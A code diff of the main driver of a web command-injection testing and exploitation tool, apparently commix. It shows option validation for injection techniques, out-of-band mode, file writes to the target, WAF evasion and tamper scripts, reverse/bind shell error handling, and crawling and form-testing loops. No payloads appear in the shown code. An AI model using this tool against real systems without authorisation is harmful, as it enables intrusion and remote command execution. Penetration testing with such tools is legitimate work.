in menu.options.tech: - split_techniques_names = menu.options.tech.split(settings.PARAMETER_SPLITTING_REGEX) + menu.options.skip_tech = menu.options.skip_tech.lower() + settings.SKIP_TECHNIQUES = True + if settings.USER_APPLIED_TECHNIQUE: + err_msg = "The options '--technique' and '--skip-technique' cannot be used " + err_msg += "simultaneously (i.e. only one option must be set)." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) else: - split_techniques_names = menu.options.tech.split() - if split_techniques_names: - for i in range(0,len(split_techniques_names)): - if len(menu.options.tech) <= 4: - split_first_letter = list(menu.options.tech) - for j in range(0,len(split_first_letter)): - if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES: - found_tech = True - else: - found_tech = False - - if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ - found_tech == False: - err_msg = "You specified wrong value '" + split_techniques_names[i] - err_msg += "' as injection technique. " - err_msg += "The value for '" - if not settings.SKIP_TECHNIQUES : - err_msg += "--technique" - else: - err_msg += "--skip-technique" - - err_msg += "' must be a string composed by the letters C, E, T, F. " - err_msg += "Refer to the official wiki for details." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if not menu.options.tech: - menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) - - # Check if specified wrong alternative shell - if menu.options.alter_shell: - if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: - err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) + for skip_tech_name in settings.AVAILABLE_TECHNIQUES: + if skip_tech_name in menu.options.skip_tech: + menu.options.tech = menu.options.tech.replace(skip_tech_name, "") + if len(menu.options.tech) == 0: + err_msg = "Aborted the detection procedure due to skipping all injection techniques." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + """ + Nothing is checked here about which techniques reach the evaluation sink. + + Every technique '--technique' can name reaches it, and the out-of-band one carries whichever + sink it is given - so there is no unreachable combination left to refuse, and nothing to leave + out of a list the user narrowed. What stood here refused a run that named no technique at all, + which is the one that asks for all of them. + """ + + # Named by the constant the technique's letter lives in, so the letter is written once. + if menu.options.oob: + menu.options.tech = settings.OOB_TECHNIQUE_LETTER # Check the file-destination - if menu.options.file_write and not menu.options.file_dest or \ - menu.options.file_upload and not menu.options.file_dest: - err_msg = "Host's absolute filepath to write and/or upload, must be specified (i.e. '--file-dest')." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: - err_msg = "You must enter the '--file-write' or '--file-upload' parameter." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + if menu.options.file_write is not None and not menu.options.file_dest: + err_msg = "You must specify the host's absolute filepath to write (i.e. '--file-dest')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.file_dest and menu.options.file_write == None: + err_msg = "You must enter the '--file-write' parameter." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # The remote destination must be an absolute filepath (Unix-style, Windows drive-letter, or UNC). + if menu.options.file_dest and not (menu.options.file_dest.startswith(("/", "\\")) or \ + re.match(r"^[A-Za-z]:[\\/]", menu.options.file_dest)): + err_msg = "The value for option '--file-dest' must be an absolute filepath " + err_msg += "(e.g. '/tmp/file' or 'C:\\Windows\\Temp\\file')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Check the local file to write, before any tests are performed. + if menu.options.file_write is not None: + if not os.path.exists(menu.options.file_write): + err_msg = "The specified local file '" + menu.options.file_write + "' does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if not os.path.isfile(menu.options.file_write): + err_msg = "The specified path '" + menu.options.file_write + "' is not a file." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + # Check if defined "--url" or "-m" option. if url: - if menu.options.auth_cred and menu.options.auth_type: - info_msg = "Used a valid pair of " + menu.options.auth_type - info_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'." - print(settings.print_bold_info_msg(info_msg)) - session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ - admin_panel=url, username=menu.options.auth_cred.split(":")[0], \ - password=menu.options.auth_cred.split(":")[1] - ) - # Load the crawler - if menu.options.crawldepth > 0 or menu.options.sitemap_url: - url = crawler.crawler(url) + session_handler.store_given_credentials(url) try: - if menu.options.flush_session: - session_handler.flush(url) - # Check for CGI scripts on url - checks.check_CGI_scripts(url) - # Modification on payload - if not menu.options.shellshock: - if not settings.USE_BACKTICKS: - settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" - settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" - # Check if defined "--file-upload" option. - if menu.options.file_upload: - checks.file_upload() - try: - _urllib.request.urlopen(menu.options.file_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - print(settings.print_critical_msg(str(err_msg.code))) - raise SystemExit() - except _urllib.error.URLError as err_msg: - print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".")) - raise SystemExit() try: - info_msg = "Performing identification checks to the target URL." - print(settings.print_info_msg(info_msg)) + # The page the target answered with, kept off the response already in hand. + requests.capture_original_page(response) + """ + The second sample, and the regions it marks as moving on their own, are what a parameter + is compared against - so they are worth a request only where something compares one. + Nothing in the detection does: a technique reads its own output back out of the response, + and the comparison serves the dynamism check alone, which only decides anything under + '--skip-static'. + """ + if not settings.LIKELY_RESUME and menu.options.skip_static: + requests.is_url_content_stable(settings.INIT_CONNECTION_URL or url, response, settings.INIT_CONNECTION_FETCH_TIME, http_request_method) + info_msg = "Performing heuristic (passive) test on the target URL." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Webpage encoding detection. requests.encoding_detection(response) # Procedure for target application identification - requests.application_identification(url) + requests.application_identification(url, response) + # Procedure for target server identification. + requests.server_identification(response) # Specifies the technology supporting the web application - requests.technology_detection(response) - if response.info()['server'] : - server_banner = response.info()['server'] - # Procedure for target server's operating system identification. - requests.check_target_os(server_banner) - # Procedure for target server identification. - requests.server_identification(server_banner) + requests.technology_identification(response) + # Procedure for target server's operating system identification. + if not settings.IDENTIFIED_TARGET_OS: + requests.os_identification(response) + if settings.IDENTIFIED_TARGET_OS: # Store the Server's root dir settings.DEFAULT_WEB_ROOT = settings.WEB_ROOT if menu.options.is_admin or menu.options.is_root and not menu.options.current_user: @@ -538,407 +807,493 @@ def main(filename, url): # Define Python working directory. checks.define_py_working_dir() # Check for wrong flags. - checks.check_wrong_flags() + checks.check_wrong_flags() else: - found_os_server = checks.user_defined_os() - except KeyError: - pass - except AttributeError: + checks.user_defined_os() + except (KeyError, AttributeError): pass + # A WAF/IPS was found in front of the target, so answer it before the payloads are built. + checks.apply_waf_evasion() # Load tamper scripts if menu.options.tamper: - checks.tamper_scripts() - - except _urllib.error.HTTPError as err_msg: - # Check the codes of responses - if str(err_msg.getcode()) == settings.INTERNAL_SERVER_ERROR: - print(settings.SINGLE_WHITESPACE) - content = err_msg.read() - raise SystemExit() - - # Invalid permission to access target URL page. - elif str(err_msg.getcode()) == settings.FORBIDDEN_ERROR: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "You don't have permission to access this page." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # The target host seems to be down! - elif str(err_msg.getcode()) == settings.NOT_FOUND_ERROR: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "Not found." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - raise - - # The target host seems to be down! - except (_urllib.error.URLError, _http_client.BadStatusLine) as e: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "The host seems to be down" - try: - err_msg += " (" + str(e.args[0]).split("] ")[1] + ")." - except IndexError: - err_msg += "." - pass - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _http_client.InvalidURL as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + if not settings.WAF_EVASION_APPLIED: + settings.USER_APPLIED_TAMPER = menu.options.tamper + checks.tamper_scripts(stored_tamper_scripts=False) + # Prime whitespace-mutating tampers before capturing settings.WHITESPACES. + checks.perform_payload_modification(payload="") except AttributeError: pass else: err_msg = "You must specify the target URL." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Said before anything is tested, so what the request already carries is known going in. + if menu.options.jwt: + checks.scan_jwts(url, filename, http_request_method) + else: + checks.jwt_heuristic(url, filename) + + # Named nowhere by the target and answered to all the same, so tested like any other parameter. + if menu.options.mine_params: + mined = mining.mine_parameters(url, http_request_method) + if mined: + url = url + ("&" if "?" in url else "?") + "&".join(name + "=" + settings.MINED_PARAMETER_VALUE for name in mined) # Retrieve everything from the supported enumeration options. if menu.options.enum_all: checks.enable_all_enumeration_options() - - # Launch injection and exploitation controller. - if len(settings.HTTP_METHOD) != 0: - http_request_method = settings.HTTP_METHOD - else: - if menu.options.data: - http_request_method = settings.HTTPMETHOD.POST - else: - http_request_method = settings.HTTPMETHOD.GET controller.do_check(url, http_request_method, filename) return filename # Accidental stop / restart of the target host server. except (_http_client.BadStatusLine, SocketError) as err_msg: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "The target host is not responding." - err_msg += " Please ensure that is up and try again." - print("\n" + settings.print_critical_msg(err_msg)) - logs.print_logs_notification(filename, url) - #session_handler.clear(url) - #raise SystemExit() - -try: - # Check if defined "--version" option. - if menu.options.version: - version.show_version() - raise SystemExit() + if any((settings.REVERSE_TCP, settings.BIND_TCP)): + err_msg = "Failed to establish a connection." + else: + err_msg = "The target host is not responding." + err_msg += " Please ensure it is up and try again." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + logs.print_logs_notification(filename, url) + if any((settings.REVERSE_TCP, settings.BIND_TCP)): + raise SystemExit(settings.EXIT_FAILURE) - # Print the legal disclaimer msg. - print(settings.print_legal_disclaimer_msg(settings.LEGAL_DISCLAIMER_MSG)) + # Ctrl-C before controller.do_check() even starts (rare - do_check() has + # its own handling for everything inside it). + except KeyboardInterrupt: + checks.handle_early_interrupt(filename, url) + return - # Get total number of days from last update - if os.path.isfile(settings.SETTINGS_PATH): - common.days_from_last_update() +""" +Everything a run does before it has a target, and the dispatch that finds them. - # Define the level of verbosity. - if menu.options.verbose > 4: - err_msg = "The value for option '-v' " - err_msg += "must be an integer value from range [0, 4]." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - settings.VERBOSITY_LEVEL = menu.options.verbose - - if not menu.options.batch: - settings.OS_CHECKS_NUM = 1 - for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): - - # Check if defined "--list-tampers" option. - if menu.options.list_tampers: - checks.list_tamper_scripts() - raise SystemExit() - - if settings.READLINE_ERROR : - checks.no_readline_module() - raise SystemExit() - - # Check if defined "--dependencies" option. - # For checking (non-core) third party dependenices. - if menu.options.noncore_dependencies: - checks.third_party_dependencies() - raise SystemExit() - - # Check if defined "--update" option. - if menu.options.update: - update.updater() - - # Check if defined "--install" option. - if menu.options.install: - install.installer() - raise SystemExit() - - # Check for missing mandatory option(s). - if not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ - menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ - menu.options.update, menu.options.list_tampers, menu.options.purge, menu.options.noncore_dependencies)): - err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). " - err_msg += "Use -h for help." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if menu.options.encoding: - if menu.options.encoding.lower() not in settings.ENCODING_LIST: - err_msg = "The provided charset '" + menu.options.encoding + "' is unknown. " - err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " - err_msg += "to get the full list of supported charsets." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - settings.DEFAULT_PAGE_ENCODING = menu.options.encoding.lower() - - if menu.options.header and len(menu.options.header.split("\\n"))> 1: - warn_msg = "Swithing '--header' to '--headers' " - warn_msg += "due to multiple extra HTTP headers." - print(settings.print_warning_msg(warn_msg)) - - if menu.options.method: - settings.HTTP_METHOD = menu.options.method - - # Check if defined "--proxy" option. - if menu.options.proxy: - for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): - _, proxy_scheme, proxy_address, proxy_port = match.groups() - if proxy_scheme: - settings.PROXY_SCHEME = proxy_scheme - menu.options.proxy = proxy_address + ":" + proxy_port - break - else: - err_msg = "Proxy value must be in format '(http|https)://address:port'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() +Called rather than executed on import: what the module does on the way in is otherwise the +program itself, and nothing above can be reached without running all of it. +""" +def run(): + # Bound here and read back by scan_parsed_targets(), which walks a list of targets in turn. + global response, url, filename - if menu.options.ignore_session and menu.options.flush_session: - err_msg = "The '--ignore-session' option is unlikely to work combined with the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + try: + filename = "" - if menu.options.failed_tries == 0: - err_msg = "You must specify '--failed-tries' value, greater than zero." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + # Settled before a target is in hand - see src/core/startup.py. + startup.bootstrap() - # Check if defined "--auth-cred" and/or '--auth-type'. - if (menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type): - err_msg = "You must specify both '--auth-cred' and '--auth-type' options." - print(settings.print_critical_msg(err_msg)) + for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): + # Check if defined "--list-tampers" option. + if menu.options.list_tampers: + checks.list_tamper_scripts() raise SystemExit() - if menu.options.requestfile and menu.options.url: - err_msg = "The '-r' option is incompatible with option '-u' ('--url')." - print(settings.print_critical_msg(err_msg)) + # Check if defined "--dependencies" option. + if menu.options.dependencies: + checks.list_dependencies() raise SystemExit() - # Check if defined "--purge" option. - if menu.options.purge: - purge.purge() - if not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ - menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard)): + # Check if defined "--ignore-dependencies" option. + if not menu.options.ignore_dependencies: + checks.third_party_dependencies() + + # Before the target is touched: a mistyped option is the user's to correct, not the target's + # to be probed over. + checks.validate_tamper_scripts() + hooks.load_scripts() + checks.validate_modules() + checks.validate_test_selection() + checks.apply_injection_type() + checks.validate_techniques() + checks.validate_options() + + # Check if defined "--update" option. + if menu.options.update: + update.updater() + + # Check if defined "--install" option. + if menu.options.install: + install.installer() raise SystemExit() - # Check the user-defined OS. - if menu.options.os: - checks.user_defined_os() - - # Check if defined "--check-tor" option. - if menu.options.tor_check and not menu.options.tor: - err_msg = "The '--check-tor' swich requires usage of switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined "--ignore-code" option. - if menu.options.ignore_code and "," in menu.options.ignore_code: - err_msg = "Ignoring more than one HTTP error code, is not yet supported." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if menu.options.wizard: - if not menu.options.url: - while True: - question_msg = "Please enter full target URL (-u) > " - menu.options.url = _input(settings.print_question_msg(question_msg)) - if len(menu.options.url) == 0: - pass - else: - break - if not menu.options.data: - question_msg = "Please enter POST data (--data) [Enter for none] > " - menu.options.data = _input(settings.print_question_msg(question_msg)) - if len(menu.options.data) == 0: - menu.options.data = False - - # Retries when the connection timeouts. - if menu.options.retries: - settings.MAX_RETRIES = menu.options.retries - - # Seconds to delay between each HTTP request. - if menu.options.delay > 0: - settings.DELAY = menu.options.delay - - # Check if defined "--timesec" option. - if menu.options.timesec > 0: - settings.TIMESEC = menu.options.timesec - else: - if menu.options.tor: - settings.TIMESEC = 10 - warn_msg = "Increasing default value for option '--time-sec' to" - warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided." - print(settings.print_warning_msg(warn_msg)) - - # Local IP address - if not menu.options.offline: - settings.LOCAL_HTTP_IP = simple_http_server.grab_ip_addr() - else: - settings.LOCAL_HTTP_IP = None - - # Check arguments - if len(sys.argv) == 1: - menu.parser.print_help() - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - else: - # Check for INJECT_HERE tag. - inject_tag_regex_match = re.search(settings.INJECT_TAG_REGEX, ",".join(str(x) for x in sys.argv)) - if inject_tag_regex_match: - settings.INJECT_TAG = inject_tag_regex_match.group(0) - - # Define the level of tests to perform. - if menu.options.level > 3: - err_msg = "The value for option '--level' " - err_msg += "must be an integer value from range [1, 3]." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + # Check if defined "--purge" option. + if menu.options.purge: + purge.purge() - # Define the local path where Metasploit Framework is installed. - if menu.options.msf_path: - settings.METASPLOIT_PATH = menu.options.msf_path + # Everything the options say, settled before a target is contacted - see options.py. + options.validate() + # Enable detection phase + settings.DETECTION_PHASE = True - # Enable detection phase - settings.DETECTION_PHASE = True + # Parse target and data from HTTP proxy logs (i.e. Burp / WebScarab). + if menu.options.requestfile and menu.options.logfile: + err_msg = "The '-r' option is unlikely to work combined with the '-l' option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + elif menu.options.requestfile or menu.options.logfile: + parser.logfile_parser() - # Parse target and data from HTTP proxy logs (i.e Burp / WebScarab). - if menu.options.requestfile and menu.options.logfile: - err_msg = "The '-r' option is unlikely to work combined with the '-l' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - elif menu.options.requestfile or menu.options.logfile: - parser.logfile_parser() + # A specification names its own targets, so it is read the way a request file is read. + if menu.options.openapi: + from src.core.parse import openapi + openapi.openapi_parser() - if menu.options.offline: - settings.CHECK_FOR_UPDATES_ON_START = False - - # Check if ".git" exists and check for updated version! - if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: - update.check_for_update() - - # Check if option is "-m" for multiple urls test. - if menu.options.bulkfile: - bulkfile = menu.options.bulkfile - info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if not os.path.exists(bulkfile): - print(settings.SINGLE_WHITESPACE) - err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - elif os.stat(bulkfile).st_size == 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - else: - print(settings.SINGLE_WHITESPACE) - with open(menu.options.bulkfile) as f: - bulkfile = [url.strip() for url in f] - # Removing duplicates from list. - clean_bulkfile = [] - [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile] - # Removing empty elements from list. - clean_bulkfile = [x for x in clean_bulkfile if x] - for url in clean_bulkfile: - settings.INIT_TEST = True - if url == clean_bulkfile[-1]: - settings.EOF = True - # Reset the injection level - if menu.options.level > 3: - menu.options.level = 1 - init_injection(url) - try: - response, url = url_response(url) - if response != False: - filename = logs_filename_creation() - main(filename, url) - - except _urllib.error.HTTPError as err_msg: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - error_description = "" - if len(str(err_msg).split(": ")[1]) == 0: - error_description = "Non-standard HTTP status code" - err_msg = str(err_msg).replace(": "," (") + error_description + ")." - warn_msg = "Skipping URL '" + url + "' - " + err_msg - print(settings.print_warning_msg(warn_msg)) - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - - except _urllib.error.URLError as err_msg: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = str(err_msg.args[0]).split("] ")[1] + "." - warn_msg = "Skipping URL '" + url + "' - " + err_msg - print(settings.print_warning_msg(warn_msg)) - if settings.EOF: - print(settings.SINGLE_WHITESPACE) + # Check if ".git" exists and check for updated version! + if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: + update.check_for_update() - else: - if os_checks_num == 0: - settings.INIT_TEST = True # Check if option is "--url" for single url test. if menu.options.sitemap_url: url = menu.options.sitemap_url - else: + else: url = menu.options.url - response, url = url_response(url) - if response != False: - filename = logs_filename_creation() - main(filename, url) - -except KeyboardInterrupt: - abort_msg = "User aborted procedure " - abort_msg += "during the " + checks.assessment_phase() - abort_msg += " phase (Ctrl-C was pressed)." - new_line = "\n" - # if settings.FILE_BASED_STATE or \ - # settings.TEMPFILE_BASED_STATE : - # if not settings.DETECTION_PHASE and \ - # settings.EXPLOITATION_PHASE: - # if settings.VERBOSITY_LEVEL != 0: - # new_line = "" - print(new_line + settings.print_abort_msg(abort_msg)) - try: - logs.print_logs_notification(filename, url) - print(settings.SINGLE_WHITESPACE) - except NameError: - raise SystemExit() -except SystemExit: - print(settings.SINGLE_WHITESPACE) - raise SystemExit() + if menu.options.data and not settings.CRAWLING: + settings.USER_DEFINED_POST_DATA = menu.options.data + # Check if defined character used for splitting parameter values. + if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: + settings.POST_DATA_PARAM_DELIMITER = menu.options.pdel + else: + # Check if defined character used for splitting parameter values. + if menu.options.pdel and menu.options.pdel in url: + settings.URL_PARAM_DELIMITER = menu.options.pdel + + http_request_method = checks.check_http_method(url) + # A request / proxy log file holding more than one request is tested target by target. + if len(settings.MULTI_REQUEST_TARGETS) > 1 and not settings.CRAWLING: + settings.MULTI_TARGETS = True + menu.options.batch = True + scan_parsed_targets(os_checks_num) + raise SystemExit() + if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: + if os_checks_num == 0: + settings.INIT_TEST = True + # Skip upfront detection-only probes below when a stored technique already exists. + settings.LIKELY_RESUME = session_handler.has_any_stored_technique(url, http_request_method) + response, url = url_response(url, http_request_method) + if response is not False: + filename = logs.logs_filename_creation(url) + session_handler.restore_waf_status(url) + session_handler.restore_target_os(url) + session_handler.restore_target_arch(url) + main(filename, url, http_request_method) + else: + err_msg = "Unable to establish a connection with the target URL." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + + else: + output_href = [] + output_forms = [] + # Check if option is "-m" for multiple urls test. + if menu.options.bulkfile: + bulkfile = menu.options.bulkfile + if os_checks_num == 0: + info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if not os.path.exists(bulkfile): + err_msg = "It seems the '" + bulkfile + "' file does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + elif os.stat(bulkfile).st_size == 0: + err_msg = "It seems the '" + bulkfile + "' file is empty." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + else: + settings.MULTI_TARGETS = True + menu.options.batch = True + with open(menu.options.bulkfile, encoding="utf-8-sig") as f: + lines = [line for line in f if line.strip() and not line.lstrip().startswith("#")] + bulkfile = [x for x in (parse_target_line(line) for line in lines) if x] + # A line that names no usable target is dropped, and a list is long enough that dropping + # one quietly would never be noticed - so how many went is said before the run starts. + skipped = len(lines) - len(bulkfile) + if skipped: + warn_msg = "Skipped " + str(skipped) + " line" + ("s" if skipped > 1 else "") + warn_msg += " that named no target within scope." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + # Check if option "--crawl" is enabled. + if settings.CRAWLING: + settings.CRAWLING_PHASE = True + url_num = 1 + if not menu.options.bulkfile and not settings.STDIN_PARSING: + crawling_list = 1 + output_href = crawler.crawler(url, url_num, crawling_list, http_request_method) + output_href.append(url) + output_forms += crawler.crawled_forms + else: + if settings.STDIN_PARSING: + # --crawl requires the full target list; stream only plain stdin targets. + bulkfile = list(stdin_parsing_target(os_checks_num)) + crawling_list = len(bulkfile) + for url in bulkfile: + output_href += (crawler.crawler(url, url_num, crawling_list, http_request_method)) + output_forms += crawler.crawled_forms + url_num += 1 + output_href = output_href + bulkfile + output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] + if not menu.options.shellshock: + try: + output_href = crawler.normalize_results(output_href) + except SystemExit: + # No GET links; continue if crawled POST forms are available. + if not output_forms: + raise + output_href = [] + settings.CRAWLING_PHASE = False + else: + filename = None + if not settings.STDIN_PARSING: + output_href = output_href + bulkfile + + # Stream plain stdin targets as they arrive; total_href stays None until the stream ends. + if settings.STDIN_PARSING and not settings.CRAWLING: + # The same items in the same order, with anything seen before left out. + def _dedupe_lazy(iterable): + seen = set() + for x in iterable: + if x and x not in seen: + seen.add(x) + yield x + clean_output_href = _dedupe_lazy(stdin_parsing_target(os_checks_num)) + total_href = None + else: + # Removing duplicates from list (order-preserving, O(n)). + clean_output_href = [] + seen_href = set() + for x in output_href: + if x not in seen_href: + seen_href.add(x) + clean_output_href.append(x) + # Removing empty elements from list. + clean_output_href = [x for x in clean_output_href if x] + if len(output_href) != 0: + if filename is not None: + filename = crawler.store_crawling(output_href) + total_href = len(clean_output_href) + + # Removing duplicates from the identified (crawled) forms (order-preserving, O(n)). + clean_output_forms = [] + seen_forms = set() + for x in output_forms: + if x not in seen_forms: + seen_forms.add(x) + clean_output_forms.append(x) + + # Merge target/form counts into one message (total_href is None in lazy stdin mode). + summary_parts = [] + if total_href: + summary_parts.append(str(total_href) + " target" + "s"[total_href == 1:]) + if len(clean_output_forms) != 0: + summary_parts.append(str(len(clean_output_forms)) + " form" + "s"[len(clean_output_forms) == 1:]) + if summary_parts: + info_msg = "Found a total of " + " and ".join(summary_parts) + "." + if settings.SKIPPED_OUT_OF_SCOPE: + info_msg += " Skipped " + str(len(settings.SKIPPED_OUT_OF_SCOPE)) + " target" + "s"[len(settings.SKIPPED_OUT_OF_SCOPE) == 1:] + " out of scope." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # Test crawled POST forms first; their method/data are handled separately. + form_num = 0 + orig_data = menu.options.data + orig_user_defined_post_data = settings.USER_DEFINED_POST_DATA + for form_url, form_data in clean_output_forms: + if check_for_injected_url(form_url): + prompt_skip_vulnerable_host(form_url) + if settings.SKIP_VULNERABLE_HOST: + form_num += 1 + info_msg = "Skipping form URL '" + form_url + "' (" + str(form_num) + "/" + str(len(clean_output_forms)) + ")." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + continue + else: + # The answer was given for the host it was asked about, so it says nothing about this one. + settings.SKIP_VULNERABLE_HOST = None + form_num += 1 + perform_check = True + while True: + settings.print_data_to_stdout(settings.print_message("[" + str(form_num) + "/" + str(len(clean_output_forms)) + "] FORM - POST " + form_url + " - " + form_data)) + message = "Do you want to use form #" + str(form_num) + " for testing? [Y/n/q] " + next_form = common.read_input(message, default="Y", check_batch=True) + if next_form in settings.CHOICE_YES: + info_msg = "Testing form '" + form_url + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + break + elif next_form in settings.CHOICE_NO: + perform_check = False + break + elif next_form in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(next_form) + pass + if perform_check: + has_blank_fields = re.search(settings.EMPTY_FORM_FIELDS_REGEX, form_data) is not None + edit_msg = "Edit POST data [default: " + form_data + "]" + if has_blank_fields: + edit_msg += " (Warning: blank fields detected)" + edit_msg += ": " + form_data = common.read_input(edit_msg, default=form_data, check_batch=True) + if re.search(settings.EMPTY_FORM_FIELDS_REGEX, form_data): + fill_msg = "Do you want to fill blank fields with random values? [Y/n] " + if common.read_input(fill_msg, default="Y", check_batch=True) in settings.CHOICE_YES: + form_data = crawler.random_fill_blank_fields(form_data) + if menu.options.threads <= 1: + threads_msg = "Please enter number of threads? [Enter for " + str(menu.options.threads) + " (current)] " + threads_answer = common.read_input(threads_msg, default=str(menu.options.threads), check_batch=True) + try: + threads_value = int(threads_answer) + if threads_value > 1: + menu.options.threads = threads_value + settings.THREADS = min(threads_value, settings.MAX_THREADS) + if threads_value > settings.MAX_THREADS: + warn_msg = "Setting '--threads' to the maximum of " + str(settings.MAX_THREADS) + " concurrent HTTP requests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif threads_value < 1: + common.invalid_option(threads_answer) + except ValueError: + common.invalid_option(threads_answer) + if os_checks_num == 0: + settings.INIT_TEST = True + # Reset the injection level + if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: + settings.INJECTION_LEVEL = 1 + settings.reset_target_state(menu.options) + menu.options.url = form_url + menu.options.data = form_data + settings.USER_DEFINED_POST_DATA = form_data + settings.IGNORE_USER_DEFINED_POST_DATA = False + init_injection(form_url) + try: + response, form_url = url_response(form_url, settings.HTTPMETHOD.POST) + if response is not False: + filename = logs.logs_filename_creation(form_url) + session_handler.restore_waf_status(form_url) + session_handler.restore_target_os(form_url) + session_handler.restore_target_arch(form_url) + main(filename, form_url, settings.HTTPMETHOD.POST) + except KeyboardInterrupt: + checks.handle_early_interrupt(filename, form_url) + except (Exception, SystemExit): + pass + menu.options.data = orig_data + settings.USER_DEFINED_POST_DATA = orig_user_defined_post_data + + url_num = 0 + href_count_suffix = ("/" + str(total_href)) if total_href is not None else "" + for url, is_last_href in with_is_last(clean_output_href): + if check_for_injected_url(url): + 